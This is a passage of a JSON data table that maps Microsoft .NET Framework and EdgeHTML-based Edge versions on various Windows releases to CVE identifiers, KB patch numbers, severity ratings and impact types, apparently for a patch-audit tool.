Execution\"},{\"cve\":\"CVE-2020-0646\",\"kb\":\"4535105\",\"severity\":\"Critical\",\"impact\":\"Remote Code Execution\"},{\"cve\":\"CVE-2020-1147\",\"kb\":\"4566469\",\"severity\":\"Critical\",\"impact\":\"Remote Code Execution\"}],\"Microsoft .NET Framework 4.5.2 on Windows Server 2008 for x64-based Systems Service Pack 2\":[{\"cve\":\"CVE-2017-8759\",\"kb\":\"4040977\",\"severity\":\"Important\",\"impact\":\"Remote Code Execution\"},{\"cve\":\"CVE-2020-0646\",\"kb\":\"4535105\",\"severity\":\"Critical\",\"impact\":\"Remote Code Execution\"},{\"cve\":\"CVE-2020-1147\",\"kb\":\"4566469\",\"severity\":\"Critical\",\"impact\":\"Remote Code Execution\"}],\"Microsoft .NET Framework 4.5.2 on Windows Server 2012\":[{\"cve\":\"CVE-2017-8759\",\"kb\":\"4040975\",\"severity\":\"Important\",\"impact\":\"Remote Code Execution\"},{\"cve\":\"CVE-2020-0646\",\"kb\":\"4535103\",\"severity\":\"Critical\",\"impact\":\"Remote Code Execution\"},{\"cve\":\"CVE-2020-1147\",\"kb\":\"4566467\",\"severity\":\"Critical\",\"impact\":\"Remote Code Execution\"}],\"Microsoft .NET Framework 4.5.2 on Windows Server 2012 (Server Core installation)\":[{\"cve\":\"CVE-2017-8759\",\"kb\":\"4040975\",\"severity\":\"Important\",\"impact\":\"Remote Code Execution\"},{\"cve\":\"CVE-2020-0646\",\"kb\":\"4535103\",\"severity\":\"Critical\",\"impact\":\"Remote Code Execution\"},{\"cve\":\"CVE-2020-1147\",\"kb\":\"4566467\",\"severity\":\"Critical\",\"impact\":\"Remote Code Execution\"}],\"Microsoft .NET Framework 4.5.2 on Windows Server 2012 R2\":[{\"cve\":\"CVE-2017-8759\",\"kb\":\"4040974\",\"severity\":\"Important\",\"impact\":\"Remote Code Execution\"},{\"cve\":\"CVE-2020-0646\",\"kb\":\"4535104\",\"severity\":\"Critical\",\"impact\":\"Remote Code Execution\"},{\"cve\":\"CVE-2020-1147\",\"kb\":\"4578962\",\"severity\":\"Critical\",\"impact\":\"Remote Code Execution\"}],\"Microsoft .NET Framework 4.5.2 on Windows Server 2012 R2 (Server Core installation)\":[{\"cve\":\"CVE-2017-8759\",\"kb\":\"4040974\",\"severity\":\"Important\",\"impact\":\"Remote Code Execution\"},{\"cve\":\"CVE-2020-0646\",\"kb\":\"4535104\",\"severity\":\"Critical\",\"impact\":\"Remote Code Execution\"},{\"cve\":\"CVE-2020-1147\",\"kb\":\"4578962\",\"severity\":\"Critical\",\"impact\":\"Remote Code Execution\"}],\"Microsoft .NET Framework 4.6 on Windows 10 for 32-bit Systems\":[{\"cve\":\"CVE-2017-8759\",\"kb\":\"4038781\",\"severity\":\"Important\",\"impact\":\"Remote Code Execution\"}],\"Microsoft .NET Framework 4.6 on Windows 10 for x64-based Systems\":[{\"cve\":\"CVE-2017-8759\",\"kb\":\"4038781\",\"severity\":\"Important\",\"impact\":\"Remote Code Execution\"}],\"Microsoft .NET Framework 4.6 on Windows Server 2008 for 32-bit Systems Service Pack 2\":[{\"cve\":\"CVE-2017-8759\",\"kb\":\"4040973\",\"severity\":\"Important\",\"impact\":\"Remote Code Execution\"},{\"cve\":\"CVE-2020-0646\",\"kb\":\"4535105\",\"severity\":\"Critical\",\"impact\":\"Remote Code Execution\"},{\"cve\":\"CVE-2020-1147\",\"kb\":\"4578963\",\"severity\":\"Critical\",\"impact\":\"Remote Code Execution\"}],\"Microsoft .NET Framework 4.6 on Windows Server 2008 for x64-based Systems Service Pack 2\":[{\"cve\":\"CVE-2017-8759\",\"kb\":\"4040973\",\"severity\":\"Important\",\"impact\":\"Remote Code Execution\"},{\"cve\":\"CVE-2020-0646\",\"kb\":\"4535105\",\"severity\":\"Critical\",\"impact\":\"Remote Code Execution\"},{\"cve\":\"CVE-2020-1147\",\"kb\":\"4578963\",\"severity\":\"Critical\",\"impact\":\"Remote Code Execution\"}],\"Microsoft .NET Framework 4.6.1 on Windows 10 Version 1511 for 32-bit Systems\":[{\"cve\":\"CVE-2017-8759\",\"kb\":\"4038783\",\"severity\":\"Important\",\"impact\":\"Remote Code Execution\"}],\"Microsoft .NET Framework 4.6.1 on Windows 10 Version 1511 for x64-based Systems\":[{\"cve\":\"CVE-2017-8759\",\"kb\":\"4038783\",\"severity\":\"Important\",\"impact\":\"Remote Code Execution\"}],\"Microsoft .NET Framework 4.6.2/4.7 on Windows 10 Version 1607 for 32-bit Systems\":[{\"cve\":\"CVE-2017-8759\",\"kb\":\"4038782\",\"severity\":\"Important\",\"impact\":\"Remote Code Execution\"}],\"Microsoft .NET Framework 4.6.2/4.7 on Windows 10 Version 1607 for x64-based Systems\":[{\"cve\":\"CVE-2017-8759\",\"kb\":\"4038782\",\"severity\":\"Important\",\"impact\":\"Remote Code Execution\"}],\"Microsoft .NET Framework 4.6.2/4.7 on Windows Server 2016\":[{\"cve\":\"CVE-2017-8759\",\"kb\":\"4038782\",\"severity\":\"Important\",\"impact\":\"Remote Code Execution\"}],\"Microsoft .NET Framework 4.6.2/4.7 on Windows Server 2016 (Server Core installation)\":[{\"cve\":\"CVE-2017-8759\",\"kb\":\"4038782\",\"severity\":\"Important\",\"impact\":\"Remote Code Execution\"}],\"Microsoft .NET Framework 4.6.2/4.7/4.7.1/4.7.2 on Windows 10 Version 1607 for 32-bit Systems\":[{\"cve\":\"CVE-2020-0646\",\"kb\":\"4534271\",\"severity\":\"Critical\",\"impact\":\"Remote Code Execution\"}],\"Microsoft .NET Framework 4.6/4.6.1/4.6.2/4.7 on Windows 7 for 32-bit Systems Service Pack 1\":[{\"cve\":\"CVE-2017-8759\",\"kb\":\"4040973\",\"severity\":\"Important\",\"impact\":\"Remote Code Execution\"}],\"Microsoft .NET Framework 4.6/4.6.1/4.6.2/4.7 on Windows 7 for x64-based Systems Service Pack 1\":[{\"cve\":\"CVE-2017-8759\",\"kb\":\"4040973\",\"severity\":\"Important\",\"impact\":\"Remote Code Execution\"}],\"Microsoft .NET Framework 4.6/4.6.1/4.6.2/4.7 on Windows 8.1 for 32-bit systems\":[{\"cve\":\"CVE-2017-8759\",\"kb\":\"4040972\",\"severity\":\"Important\",\"impact\":\"Remote Code Execution\"}],\"Microsoft .NET Framework 4.6/4.6.1/4.6.2/4.7 on Windows 8.1 for x64-based systems\":[{\"cve\":\"CVE-2017-8759\",\"kb\":\"4040972\",\"severity\":\"Important\",\"impact\":\"Remote Code Execution\"}],\"Microsoft .NET Framework 4.6/4.6.1/4.6.2/4.7 on Windows RT 8.1\":[{\"cve\":\"CVE-2017-8759\",\"kb\":\"4040972\",\"severity\":\"Important\",\"impact\":\"Remote Code Execution\"}],\"Microsoft .NET Framework 4.6/4.6.1/4.6.2/4.7 on Windows Server 2008 R2 for x64-based Systems Service Pack 1\":[{\"cve\":\"CVE-2017-8759\",\"kb\":\"4040973\",\"severity\":\"Important\",\"impact\":\"Remote Code Execution\"}],\"Microsoft .NET Framework 4.6/4.6.1/4.6.2/4.7 on Windows Server 2008 R2 for x64-based Systems Service Pack 1 (Server Core installation)\":[{\"cve\":\"CVE-2017-8759\",\"kb\":\"4040973\",\"severity\":\"Important\",\"impact\":\"Remote Code Execution\"}],\"Microsoft .NET Framework 4.6/4.6.1/4.6.2/4.7 on Windows Server 2012\":[{\"cve\":\"CVE-2017-8759\",\"kb\":\"4040971\",\"severity\":\"Important\",\"impact\":\"Remote Code Execution\"}],\"Microsoft .NET Framework 4.6/4.6.1/4.6.2/4.7 on Windows Server 2012 (Server Core installation)\":[{\"cve\":\"CVE-2017-8759\",\"kb\":\"4040971\",\"severity\":\"Important\",\"impact\":\"Remote Code Execution\"}],\"Microsoft .NET Framework 4.6/4.6.1/4.6.2/4.7 on Windows Server 2012 R2\":[{\"cve\":\"CVE-2017-8759\",\"kb\":\"4040972\",\"severity\":\"Important\",\"impact\":\"Remote Code Execution\"}],\"Microsoft .NET Framework 4.6/4.6.1/4.6.2/4.7 on Windows Server 2012 R2 (Server Core installation)\":[{\"cve\":\"CVE-2017-8759\",\"kb\":\"4040972\",\"severity\":\"Important\",\"impact\":\"Remote Code Execution\"}],\"Microsoft .NET Framework 4.6/4.6.1/4.6.2/4.7/4.7.1/4.7.2 on Windows 7 for 32-bit Systems Service Pack 1\":[{\"cve\":\"CVE-2020-0646\",\"kb\":\"4535102\",\"severity\":\"Critical\",\"impact\":\"Remote Code Execution\"},{\"cve\":\"CVE-2020-1147\",\"kb\":\"4578963\",\"severity\":\"Critical\",\"impact\":\"Remote Code Execution\"}],\"Microsoft .NET Framework 4.6/4.6.1/4.6.2/4.7/4.7.1/4.7.2 on Windows 7 for x64-based Systems Service Pack 1\":[{\"cve\":\"CVE-2020-0646\",\"kb\":\"4535102\",\"severity\":\"Critical\",\"impact\":\"Remote Code Execution\"},{\"cve\":\"CVE-2020-1147\",\"kb\":\"4578963\",\"severity\":\"Critical\",\"impact\":\"Remote Code Execution\"}],\"Microsoft .NET Framework 4.6/4.6.1/4.6.2/4.7/4.7.1/4.7.2 on Windows 8.1 for 32-bit systems\":[{\"cve\":\"CVE-2020-0646\",\"kb\":\"4535104\",\"severity\":\"Critical\",\"impact\":\"Remote Code Execution\"},{\"cve\":\"CVE-2020-1147\",\"kb\":\"4579979\",\"severity\":\"Critical\",\"impact\":\"Remote Code Execution\"}],\"Microsoft .NET Framework 4.6/4.6.1/4.6.2/4.7/4.7.1/4.7.2 on Windows 8.1 for x64-based systems\":[{\"cve\":\"CVE-2020-0646\",\"kb\":\"4535104\",\"severity\":\"Critical\",\"impact\":\"Remote Code Execution\"},{\"cve\":\"CVE-2020-1147\",\"kb\":\"4579979\",\"severity\":\"Critical\",\"impact\":\"Remote Code Execution\"}],\"Microsoft .NET Framework 4.6/4.6.1/4.6.2/4.7/4.7.1/4.7.2 on Windows RT 8.1\":[{\"cve\":\"CVE-2020-0646\",\"kb\":\"4535104\",\"severity\":\"Critical\",\"impact\":\"Remote Code Execution\"},{\"cve\":\"CVE-2020-1147\",\"kb\":\"4579979\",\"severity\":\"Critical\",\"impact\":\"Remote Code Execution\"}],\"Microsoft .NET Framework 4.6/4.6.1/4.6.2/4.7/4.7.1/4.7.2 on Windows Server 2008 R2 for x64-based Systems Service Pack 1\":[{\"cve\":\"CVE-2020-0646\",\"kb\":\"4535102\",\"severity\":\"Critical\",\"impact\":\"Remote Code Execution\"},{\"cve\":\"CVE-2020-1147\",\"kb\":\"4578963\",\"severity\":\"Critical\",\"impact\":\"Remote Code Execution\"}],\"Microsoft .NET Framework 4.6/4.6.1/4.6.2/4.7/4.7.1/4.7.2 on Windows Server 2008 R2 for x64-based Systems Service Pack 1 (Server Core installation)\":[{\"cve\":\"CVE-2020-0646\",\"kb\":\"4535102\",\"severity\":\"Critical\",\"impact\":\"Remote Code Execution\"},{\"cve\":\"CVE-2020-1147\",\"kb\":\"4578963\",\"severity\":\"Critical\",\"impact\":\"Remote Code Execution\"}],\"Microsoft .NET Framework 4.6/4.6.1/4.6.2/4.7/4.7.1/4.7.2 on Windows Server 2012\":[{\"cve\":\"CVE-2020-0646\",\"kb\":\"4535103\",\"severity\":\"Critical\",\"impact\":\"Remote Code Execution\"},{\"cve\":\"CVE-2020-1147\",\"kb\":\"4579978\",\"severity\":\"Critical\",\"impact\":\"Remote Code Execution\"}],\"Microsoft .NET Framework 4.6/4.6.1/4.6.2/4.7/4.7.1/4.7.2 on Windows Server 2012 (Server Core installation)\":[{\"cve\":\"CVE-2020-0646\",\"kb\":\"4535103\",\"severity\":\"Critical\",\"impact\":\"Remote Code Execution\"},{\"cve\":\"CVE-2020-1147\",\"kb\":\"4579978\",\"severity\":\"Critical\",\"impact\":\"Remote Code Execution\"}],\"Microsoft .NET Framework 4.6/4.6.1/4.6.2/4.7/4.7.1/4.7.2 on Windows Server 2012 R2\":[{\"cve\":\"CVE-2020-0646\",\"kb\":\"4535104\",\"severity\":\"Critical\",\"impact\":\"Remote Code Execution\"},{\"cve\":\"CVE-2020-1147\",\"kb\":\"4579979\",\"severity\":\"Critical\",\"impact\":\"Remote Code Execution\"}],\"Microsoft .NET Framework 4.6/4.6.1/4.6.2/4.7/4.7.1/4.7.2 on Windows Server 2012 R2 (Server Core installation)\":[{\"cve\":\"CVE-2020-0646\",\"kb\":\"4535104\",\"severity\":\"Critical\",\"impact\":\"Remote Code Execution\"},{\"cve\":\"CVE-2020-1147\",\"kb\":\"4579979\",\"severity\":\"Critical\",\"impact\":\"Remote Code Execution\"}],\"Microsoft .NET Framework 4.7 on Windows 10 Version 1703 for 32-bit Systems\":[{\"cve\":\"CVE-2017-8759\",\"kb\":\"4038788\",\"severity\":\"Important\",\"impact\":\"Remote Code Execution\"}],\"Microsoft .NET Framework 4.7 on Windows 10 Version 1703 for x64-based Systems\":[{\"cve\":\"CVE-2017-8759\",\"kb\":\"4038788\",\"severity\":\"Important\",\"impact\":\"Remote Code Execution\"}],\"Microsoft .NET Framework 4.8 on Windows 10 Version 1607 for 32-bit Systems\":[{\"cve\":\"CVE-2020-0646\",\"kb\":\"4532933\",\"severity\":\"Critical\",\"impact\":\"Remote Code Execution\"},{\"cve\":\"CVE-2020-1147\",\"kb\":\"4578969\",\"severity\":\"Critical\",\"impact\":\"Remote Code Execution\"}],\"Microsoft .NET Framework 4.8 on Windows 10 Version 1607 for x64-based Systems\":[{\"cve\":\"CVE-2020-0646\",\"kb\":\"4532933\",\"severity\":\"Critical\",\"impact\":\"Remote Code Execution\"},{\"cve\":\"CVE-2020-1147\",\"kb\":\"4578969\",\"severity\":\"Critical\",\"impact\":\"Remote Code Execution\"}],\"Microsoft .NET Framework 4.8 on Windows 10 Version 1709 for 32-bit Systems\":[{\"cve\":\"CVE-2020-0646\",\"kb\":\"4532935\",\"severity\":\"Critical\",\"impact\":\"Remote Code Execution\"},{\"cve\":\"CVE-2020-1147\",\"kb\":\"4578971\",\"severity\":\"Critical\",\"impact\":\"Remote Code Execution\"}],\"Microsoft .NET Framework 4.8 on Windows 10 Version 1709 for x64-based Systems\":[{\"cve\":\"CVE-2020-0646\",\"kb\":\"4532935\",\"severity\":\"Critical\",\"impact\":\"Remote Code Execution\"},{\"cve\":\"CVE-2020-1147\",\"kb\":\"4578971\",\"severity\":\"Critical\",\"impact\":\"Remote Code Execution\"}],\"Microsoft .NET Framework 4.8 on Windows 10 Version 1803 for 32-bit Systems\":[{\"cve\":\"CVE-2020-0646\",\"kb\":\"4532936\",\"severity\":\"Critical\",\"impact\":\"Remote Code Execution\"},{\"cve\":\"CVE-2020-1147\",\"kb\":\"4578972\",\"severity\":\"Critical\",\"impact\":\"Remote Code Execution\"}],\"Microsoft .NET Framework 4.8 on Windows 10 Version 1803 for x64-based Systems\":[{\"cve\":\"CVE-2020-0646\",\"kb\":\"4532936\",\"severity\":\"Critical\",\"impact\":\"Remote Code Execution\"},{\"cve\":\"CVE-2020-1147\",\"kb\":\"4578972\",\"severity\":\"Critical\",\"impact\":\"Remote Code Execution\"}],\"Microsoft .NET Framework 4.8 on Windows 7 for 32-bit Systems Service Pack 1\":[{\"cve\":\"CVE-2020-0646\",\"kb\":\"4535102\",\"severity\":\"Critical\",\"impact\":\"Remote Code Execution\"},{\"cve\":\"CVE-2020-1147\",\"kb\":\"4566466\",\"severity\":\"Critical\",\"impact\":\"Remote Code Execution\"}],\"Microsoft .NET Framework 4.8 on Windows 7 for x64-based Systems Service Pack 1\":[{\"cve\":\"CVE-2020-0646\",\"kb\":\"4535102\",\"severity\":\"Critical\",\"impact\":\"Remote Code Execution\"},{\"cve\":\"CVE-2020-1147\",\"kb\":\"4566466\",\"severity\":\"Critical\",\"impact\":\"Remote Code Execution\"}],\"Microsoft .NET Framework 4.8 on Windows 8.1 for 32-bit systems\":[{\"cve\":\"CVE-2020-0646\",\"kb\":\"4535104\",\"severity\":\"Critical\",\"impact\":\"Remote Code Execution\"},{\"cve\":\"CVE-2020-1147\",\"kb\":\"4578962\",\"severity\":\"Critical\",\"impact\":\"Remote Code Execution\"}],\"Microsoft .NET Framework 4.8 on Windows 8.1 for x64-based systems\":[{\"cve\":\"CVE-2020-0646\",\"kb\":\"4535104\",\"severity\":\"Critical\",\"impact\":\"Remote Code Execution\"},{\"cve\":\"CVE-2020-1147\",\"kb\":\"4578962\",\"severity\":\"Critical\",\"impact\":\"Remote Code Execution\"}],\"Microsoft .NET Framework 4.8 on Windows RT 8.1\":[{\"cve\":\"CVE-2020-0646\",\"kb\":\"4535104\",\"severity\":\"Critical\",\"impact\":\"Remote Code Execution\"},{\"cve\":\"CVE-2020-1147\",\"kb\":\"4578962\",\"severity\":\"Critical\",\"impact\":\"Remote Code Execution\"}],\"Microsoft .NET Framework 4.8 on Windows Server 2008 R2 for x64-based Systems Service Pack 1\":[{\"cve\":\"CVE-2020-0646\",\"kb\":\"4535102\",\"severity\":\"Critical\",\"impact\":\"Remote Code Execution\"},{\"cve\":\"CVE-2020-1147\",\"kb\":\"4566466\",\"severity\":\"Critical\",\"impact\":\"Remote Code Execution\"}],\"Microsoft .NET Framework 4.8 on Windows Server 2008 R2 for x64-based Systems Service Pack 1 (Server Core installation)\":[{\"cve\":\"CVE-2020-0646\",\"kb\":\"4535102\",\"severity\":\"Critical\",\"impact\":\"Remote Code Execution\"},{\"cve\":\"CVE-2020-1147\",\"kb\":\"4566466\",\"severity\":\"Critical\",\"impact\":\"Remote Code Execution\"}],\"Microsoft .NET Framework 4.8 on Windows Server 2012\":[{\"cve\":\"CVE-2020-0646\",\"kb\":\"4535103\",\"severity\":\"Critical\",\"impact\":\"Remote Code Execution\"},{\"cve\":\"CVE-2020-1147\",\"kb\":\"4566467\",\"severity\":\"Critical\",\"impact\":\"Remote Code Execution\"}],\"Microsoft .NET Framework 4.8 on Windows Server 2012 (Server Core installation)\":[{\"cve\":\"CVE-2020-0646\",\"kb\":\"4535103\",\"severity\":\"Critical\",\"impact\":\"Remote Code Execution\"},{\"cve\":\"CVE-2020-1147\",\"kb\":\"4566467\",\"severity\":\"Critical\",\"impact\":\"Remote Code Execution\"}],\"Microsoft .NET Framework 4.8 on Windows Server 2012 R2\":[{\"cve\":\"CVE-2020-0646\",\"kb\":\"4535104\",\"severity\":\"Critical\",\"impact\":\"Remote Code Execution\"},{\"cve\":\"CVE-2020-1147\",\"kb\":\"4578962\",\"severity\":\"Critical\",\"impact\":\"Remote Code Execution\"}],\"Microsoft .NET Framework 4.8 on Windows Server 2012 R2 (Server Core installation)\":[{\"cve\":\"CVE-2020-0646\",\"kb\":\"4535104\",\"severity\":\"Critical\",\"impact\":\"Remote Code Execution\"},{\"cve\":\"CVE-2020-1147\",\"kb\":\"4578962\",\"severity\":\"Critical\",\"impact\":\"Remote Code Execution\"}],\"Microsoft .NET Framework 4.8 on Windows Server 2016\":[{\"cve\":\"CVE-2020-0646\",\"kb\":\"4532933\",\"severity\":\"Critical\",\"impact\":\"Remote Code Execution\"},{\"cve\":\"CVE-2020-1147\",\"kb\":\"4578969\",\"severity\":\"Critical\",\"impact\":\"Remote Code Execution\"}],\"Microsoft .NET Framework 4.8 on Windows Server 2016 (Server Core installation)\":[{\"cve\":\"CVE-2020-0646\",\"kb\":\"4532933\",\"severity\":\"Critical\",\"impact\":\"Remote Code Execution\"},{\"cve\":\"CVE-2020-1147\",\"kb\":\"4578969\",\"severity\":\"Critical\",\"impact\":\"Remote Code Execution\"}],\"Microsoft .NET Framework 4.8 on Windows Server, version 1803 (Server Core Installation)\":[{\"cve\":\"CVE-2020-0646\",\"kb\":\"4532936\",\"severity\":\"Critical\",\"impact\":\"Remote Code Execution\"},{\"cve\":\"CVE-2020-1147\",\"kb\":\"4578972\",\"severity\":\"Critical\",\"impact\":\"Remote Code Execution\"}],\"Microsoft Edge (EdgeHTML-based) on Windows 10 Version 1511 for 32-bit Systems\":[{\"cve\":\"CVE-2016-3351\",\"kb\":\"3185614\",\"severity\":\"Important\",\"impact\":\"Information Disclosure\"},{\"cve\":\"CVE-2016-7200\",\"kb\":\"3198586\",\"severity\":\"Critical\",\"impact\":\"Remote Code Execution\"},{\"cve\":\"CVE-2016-7201\",\"kb\":\"3198586\",\"severity\":\"Critical\",\"impact\":\"Remote Code Execution\"},{\"cve\":\"CVE-2016-7241\",\"kb\":\"3198586\",\"severity\":\"Critical\",\"impact\":\"Remote Code Execution\"},{\"cve\":\"CVE-2017-0037\",\"kb\":\"4013198\",\"severity\":\"Critical\",\"impact\":\"Remote Code Execution\"},{\"cve\":\"CVE-2017-11811\",\"kb\":\"4041689\",\"severity\":\"Critical\",\"impact\":\"Remote Code Execution\"},{\"cve\":\"CVE-2017-11873\",\"kb\":\"4048952\",\"severity\":\"Critical\",\"impact\":\"Remote Code Execution\"},{\"cve\":\"CVE-2017-11893\",\"kb\":\"4053578\",\"severity\":\"Critical\",\"impact\":\"Remote Code Execution\"},{\"cve\":\"CVE-2017-11909\",\"kb\":\"4053578\",\"severity\":\"Critical\",\"impact\":\"Remote Code Execution\"},{\"cve\":\"CVE-2017-11911\",\"kb\":\"4053578\",\"severity\":\"Critical\",\"impact\":\"Remote Code Execution\"},{\"cve\":\"CVE-2017-11914\",\"kb\":\"4053578\",\"severity\":\"Critical\",\"impact\":\"Remote Code Execution\"},{\"cve\":\"CVE-2017-11918\",\"kb\":\"4053578\",\"severity\":\"Critical\",\"impact\":\"Remote Code Execution\"},{\"cve\":\"CVE-2017-8548\",\"kb\":\"4022714\",\"severity\":\"Critical\",\"impact\":\"Remote Code Execution\"},{\"cve\":\"CVE-2017-8601\",\"kb\":\"4025344\",\"severity\":\"Critical\",\"impact\":\"Remote Code Execution\"},{\"cve\":\"CVE-2017-8635\",\"kb\":\"4034660\",\"severity\":\"Critical\",\"impact\":\"Remote Code Execution\"},{\"cve\":\"CVE-2017-8636\",\"kb\":\"4034660\",\"severity\":\"Critical\",\"impact\":\"Remote Code Execution\"},{\"cve\":\"CVE-2017-8734\",\"kb\":\"4038783\",\"severity\":\"Critical\",\"impact\":\"Remote Code Execution\"},{\"cve\":\"CVE-2017-8755\",\"kb\":\"4038783\",\"severity\":\"Critical\",\"impact\":\"Remote Code Execution\"},{\"cve\":\"CVE-2018-0758\",\"kb\":\"4056888\",\"severity\":\"Critical\",\"impact\":\"Remote Code Execution\"},{\"cve\":\"CVE-2018-0769\",\"kb\":\"4056888\",\"severity\":\"Critical\",\"impact\":\"Remote Code Execution\"},{\"cve\":\"CVE-2018-0770\",\"kb\":\"4056888\",\"severity\":\"Critical\",\"impact\":\"Remote Code Execution\"},{\"cve\":\"CVE-2018-0776\",\"kb\":\"4056888\",\"severity\":\"Critical\",\"impact\":\"Remote Code Execution\"},{\"cve\":\"CVE-2018-0777\",\"kb\":\"4056888\",\"severity\":\"Critical\",\"impact\":\"Remote Code Execution\"},{\"cve\":\"CVE-2018-0780\",\"kb\":\"4056888\",\"severity\":\"Critical\",\"impact\":\"Information Disclosure\"},{\"cve\":\"CVE-2018-0834\",\"kb\":\"4074591\",\"severity\":\"Critical\",\"impact\":\"Remote Code Execution\"},{\"cve\":\"CVE-2018-0835\",\"kb\":\"4074591\",\"severity\":\"Critical\",\"impact\":\"Remote Code Execution\"},{\"cve\":\"CVE-2018-0837\",\"kb\":\"4074591\",\"severity\":\"Critical\",\"impact\":\"Remote Code Execution\"},{\"cve\":\"CVE-2018-0838\",\"kb\":\"4074591\",\"severity\":\"Critical\",\"impact\":\"Remote Code Execution\"},{\"cve\":\"CVE-2018-0840\",\"kb\":\"4074591\",\"severity\":\"Critical\",\"impact\":\"Remote Code Execution\"},{\"cve\":\"CVE-2018-0859\",\"kb\":\"4074591\",\"severity\":\"Critical\",\"impact\":\"Remote Code Execution\"},{\"cve\":\"CVE-2018-0860\",\"kb\":\"4074591\",\"severity\":\"Critical\",\"impact\":\"Remote Code Execution\"},{\"cve\":\"CVE-2018-0891\",\"kb\":\"4088779\",\"severity\":\"Important\",\"impact\":\"Information Disclosure\"},{\"cve\":\"CVE-2018-0933\",\"kb\":\"4088779\",\"severity\":\"Critical\",\"impact\":\"Remote Code Execution\"},{\"cve\":\"CVE-2018-0934\",\"kb\":\"4088779\",\"severity\":\"Critical\",\"impact\":\"Remote Code Execution\"},{\"cve\":\"CVE-2018-0980\",\"kb\":\"4093109\",\"severity\":\"Critical\",\"impact\":\"Remote Code Execution\"}],\"Microsoft Edge (EdgeHTML-based) on Windows 10 Version 1511 for x64-based Systems\":[{\"cve\":\"CVE-2016-3351\",\"kb\":\"3185614\",\"severity\":\"Important\",\"impact\":\"Information Disclosure\"},{\"cve\":\"CVE-2016-7200\",\"kb\":\"3198586\",\"severity\":\"Critical\",\"impact\":\"Remote Code Execution\"},{\"cve\":\"CVE-2016-7201\",\"kb\":\"3198586\",\"severity\":\"Critical\",\"impact\":\"Remote Code Execution\"},{\"cve\":\"CVE-2016-7241\",\"kb\":\"3198586\",\"severity\":\"Critical\",\"impact\":\"Remote Code Execution\"},{\"cve\":\"CVE-2017-0037\",\"kb\":\"4013198\",\"severity\":\"Critical\",\"impact\":\"Remote Code Execution\"},{\"cve\":\"CVE-2017-11811\",\"kb\":\"4041689\",\"severity\":\"Critical\",\"impact\":\"Remote Code Execution\"},{\"cve\":\"CVE-2017-11873\",\"kb\":\"4048952\",\"severity\":\"Critical\",\"impact\":\"Remote Code Execution\"},{\"cve\":\"CVE-2017-11893\",\"kb\":\"4053578\",\"severity\":\"Critical\",\"impact\":\"Remote Code Execution\"},{\"cve\":\"CVE-2017-11909\",\"kb\":\"4053578\",\"severity\":\"Critical\",\"impact\":\"Remote Code Execution\"},{\"cve\":\"CVE-2017-11911\",\"kb\":\"4053578\",\"severity\":\"Critical\",\"impact\":\"Remote Code Execution\"},{\"cve\":\"CVE-2017-11914\",\"kb\":\"4053578\",\"severity\":\"Critical\",\"impact\":\"Remote Code Execution\"},{\"cve\":\"CVE-2017-11918\",\"kb\":\"4053578\",\"severity\":\"Critical\",\"impact\":\"Remote Code Execution\"},{\"cve\":\"CVE-2017-8548\",\"kb\":\"4022714\",\"severity\":\"Critical\",\"impact\":\"Remote Code Execution\"},{\"cve\":\"CVE-2017-8601\",\"kb\":\"4025344\",\"severity\":\"Critical\",\"impact\":\"Remote Code Execution\"},{\"cve\":\"CVE-2017-8635\",\"kb\":\"4034660\",\"severity\":\"Critical\",\"impact\":\"Remote Code Execution\"},{\"cve\":\"CVE-2017-8636\",\"kb\":\"4034660\",\"severity\":\"Critical\",\"impact\":\"Remote Code Execution\"},{\"cve\":\"CVE-2017-8734\",\"kb\":\"4038783\",\"severity\":\"Critical\",\"impact\":\"Remote Code Execution\"},{\"cve\":\"CVE-2017-8755\",\"kb\":\"4038783\",\"severity\":\"Critical\",\"impact\":\"Remote Code Execution\"},{\"cve\":\"CVE-2018-0758\",\"kb\":\"4056888\",\"severity\":\"Critical\",\"impact\":\"Remote Code Execution\"},{\"cve\":\"CVE-2018-0769\",\"kb\":\"4056888\",\"severity\":\"Critical\",\"impact\":\"Remote Code Execution\"},{\"cve\":\"CVE-2018-0770\",\"kb\":\"4056888\",\"severity\":\"Critical\",\"impact\":\"Remote Code Execution\"},{\"cve\":\"CVE-2018-0776\",\"kb\":\"4056888\",\"severity\":\"Critical\",\"impact\":\"Remote Code Execution\"},{\"cve\":\"CVE-2018-0777\",\"kb\":\"4056888\",\"severity\":\"Critical\",\"impact\":\"Remote Code Execution\"},{\"cve\":\"CVE-2018-0780\",\"kb\":\"4056888\",\"severity\":\"Critical\",\"impact\":\"Information Disclosure\"},{\"cve\":\"CVE-2018-0834\",\"kb\":\"4074591\",\"severity\":\"Critical\",\"impact\":\"Remote Code Execution\"},{\"cve\":\"CVE-2018-0835\",\"kb\":\"4074591\",\"severity\":\"Critical\",\"impact\":\"Remote Code Execution\"},{\"cve\":\"CVE-2018-0837\",\"kb\":\"4074591\",\"severity\":\"Critical\",\"impact\":\"Remote Code Execution\"},{\"cve\":\"CVE-2018-0838\",\"kb\":\"4074591\",\"severity\":\"Critical\",\"impact\":\"Remote Code Execution\"},{\"cve\":\"CVE-2018-0840\",\"kb\":\"4074591\",\"severity\":\"Critical\",\"impact\":\"Remote Code Execution\"},{\"cve\":\"CVE-2018-0859\",\"kb\":\"4074591\",\"severity\":\"Critical\",\"impact\":\"Remote Code Execution\"},{\"cve\":\"CVE-2018-0860\",\"kb\":\"4074591\",\"severity\":\"Critical\",\"impact\":\"Remote Code Execution\"},{\"cve\":\"CVE-2018-0891\",\"kb\":\"4088779\",\"severity\":\"Important\",\"impact\":\"Information Disclosure\"},{\"cve\":\"CVE-2018-0933\",\"kb\":\"4088779\",\"severity\":\"Critical\",\"impact\":\"Remote Code Execution\"},{\"cve\":\"CVE-2018-0934\",\"kb\":\"4088779\",\"severity\":\"Critical\",\"impact\":\"Remote Code Execution\"},{\"cve\":\"CVE-2018-0980\",\"kb\":\"4093109\",\"severity\":\"Critical\",\"impact\":\"Remote Code Execution\"}],\"Microsoft Edge (EdgeHTML-based) on Windows 10 Version 1607 for 32-bit Systems\":[{\"cve\":\"CVE-2016-3351\",\"kb\":\"3189866\",\"severity\":\"Important\",\"impact\":\"Information Disclosure\"},{\"cve\":\"CVE-2016-7200\",\"kb\":\"3200970\",\"severity\":\"Critical\",\"impact\":\"Remote Code Execution\"},{\"cve\":\"CVE-2016-7201\",\"kb\":\"3200970\",\"severity\":\"Critical\",\"impact\":\"Remote Code Execution\"},{\"cve\":\"CVE-2016-7241\",\"kb\":\"3200970\",\"severity\":\"Critical\",\"impact\":\"Remote Code Execution\"},{\"cve\":\"CVE-2017-0037\",\"kb\":\"4013429\",\"severity\":\"Critical\",\"impact\":\"Remote Code 